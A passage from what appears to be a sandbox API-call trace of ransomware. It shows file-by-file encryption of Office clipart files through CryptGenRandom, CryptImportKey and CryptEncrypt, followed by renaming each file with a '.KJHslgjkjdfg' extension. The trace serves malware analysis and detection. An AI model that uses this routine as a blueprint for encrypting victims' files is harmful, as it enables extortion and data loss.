ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD09664_.WMF", cAlternateFileName="")) returned 1 [0154.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.653] GetProcessHeap () returned 0x2a0000 [0154.653] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.653] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.653] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.653] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0154.656] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.656] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.656] GetProcessHeap () returned 0x2a0000 [0154.656] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.656] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.656] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.656] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.656] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.656] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.657] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.657] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.657] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.657] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.657] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.657] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.657] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f1e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1f1e, lpOverlapped=0x0) returned 1 [0154.658] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f20, dwBufLen=0x1f20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f20) returned 1 [0154.658] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.658] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1f20, lpOverlapped=0x0) returned 1 [0154.658] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.658] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1ff4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.658] SetEndOfFile (hFile=0x114) returned 1 [0154.661] GetProcessHeap () returned 0x2a0000 [0154.661] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.661] GetProcessHeap () returned 0x2a0000 [0154.661] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.661] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.kjhslgjkjdfg")) returned 1 [0154.663] CloseHandle (hObject=0x114) returned 1 [0154.663] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c365a00, ftCreationTime.dwHighDateTime=0x1bd4f6a, ftLastAccessTime.dwLowDateTime=0x5f47ba90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c365a00, ftLastWriteTime.dwHighDateTime=0x1bd4f6a, nFileSizeHigh=0x0, nFileSizeLow=0x34cb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD10890_.GIF", cAlternateFileName="")) returned 1 [0154.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.665] GetProcessHeap () returned 0x2a0000 [0154.665] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.665] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.665] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.665] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x5, lpOverlapped=0x0) returned 1 [0154.668] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.668] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.668] GetProcessHeap () returned 0x2a0000 [0154.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.668] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.668] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.668] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.668] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.669] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.669] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.669] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.669] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.669] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.669] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.669] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.669] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x34cb, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x34cb, lpOverlapped=0x0) returned 1 [0154.670] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x34d0, dwBufLen=0x34d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x34d0) returned 1 [0154.670] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.671] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x34d0, lpOverlapped=0x0) returned 1 [0154.671] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.671] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x35a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.671] SetEndOfFile (hFile=0x114) returned 1 [0154.674] GetProcessHeap () returned 0x2a0000 [0154.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.674] GetProcessHeap () returned 0x2a0000 [0154.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.674] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.kjhslgjkjdfg")) returned 1 [0154.675] CloseHandle (hObject=0x114) returned 1 [0154.676] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93701b00, ftCreationTime.dwHighDateTime=0x1bd4f69, ftLastAccessTime.dwLowDateTime=0x517da370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93701b00, ftLastWriteTime.dwHighDateTime=0x1bd4f69, nFileSizeHigh=0x0, nFileSizeLow=0x4edd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD10972_.GIF", cAlternateFileName="")) returned 1 [0154.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.677] GetProcessHeap () returned 0x2a0000 [0154.677] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.677] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.677] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.677] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x3, lpOverlapped=0x0) returned 1 [0154.679] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.679] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.679] GetProcessHeap () returned 0x2a0000 [0154.679] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.679] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.679] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.679] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.679] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.680] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.680] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.680] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.680] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.680] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.680] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.680] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.680] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4edd, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4edd, lpOverlapped=0x0) returned 1 [0154.681] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4ee0, dwBufLen=0x4ee0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4ee0) returned 1 [0154.681] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.681] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4ee0, lpOverlapped=0x0) returned 1 [0154.681] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.681] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4fb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.681] SetEndOfFile (hFile=0x114) returned 1 [0154.684] GetProcessHeap () returned 0x2a0000 [0154.684] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.684] GetProcessHeap () returned 0x2a0000 [0154.684] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.684] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.kjhslgjkjdfg")) returned 1 [0154.685] CloseHandle (hObject=0x114) returned 1 [0154.685] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6557800, ftCreationTime.dwHighDateTime=0x1bd4d57, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6557800, ftLastWriteTime.dwHighDateTime=0x1bd4d57, nFileSizeHigh=0x0, nFileSizeLow=0x4fe6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD19563_.GIF", cAlternateFileName="")) returned 1 [0154.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.686] GetProcessHeap () returned 0x2a0000 [0154.686] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.686] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.686] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.686] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0154.688] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.688] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.688] GetProcessHeap () returned 0x2a0000 [0154.688] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.688] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.688] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.688] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.688] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.688] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.689] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.689] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.689] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.689] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.689] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.689] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.689] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4fe6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4fe6, lpOverlapped=0x0) returned 1 [0154.690] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4ff0, dwBufLen=0x4ff0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4ff0) returned 1 [0154.690] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.690] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4ff0, lpOverlapped=0x0) returned 1 [0154.690] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.690] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x50c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.690] SetEndOfFile (hFile=0x114) returned 1 [0154.692] GetProcessHeap () returned 0x2a0000 [0154.692] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.692] GetProcessHeap () returned 0x2a0000 [0154.692] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.692] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.kjhslgjkjdfg")) returned 1 [0154.693] CloseHandle (hObject=0x114) returned 1 [0154.693] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4f48c00, ftCreationTime.dwHighDateTime=0x1bd4d56, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe4f48c00, ftLastWriteTime.dwHighDateTime=0x1bd4d56, nFileSizeHigh=0x0, nFileSizeLow=0x3d75, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD19582_.GIF", cAlternateFileName="")) returned 1 [0154.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.695] GetProcessHeap () returned 0x2a0000 [0154.695] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.695] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.695] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.695] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xb, lpOverlapped=0x0) returned 1 [0154.697] CryptImportKey (in: 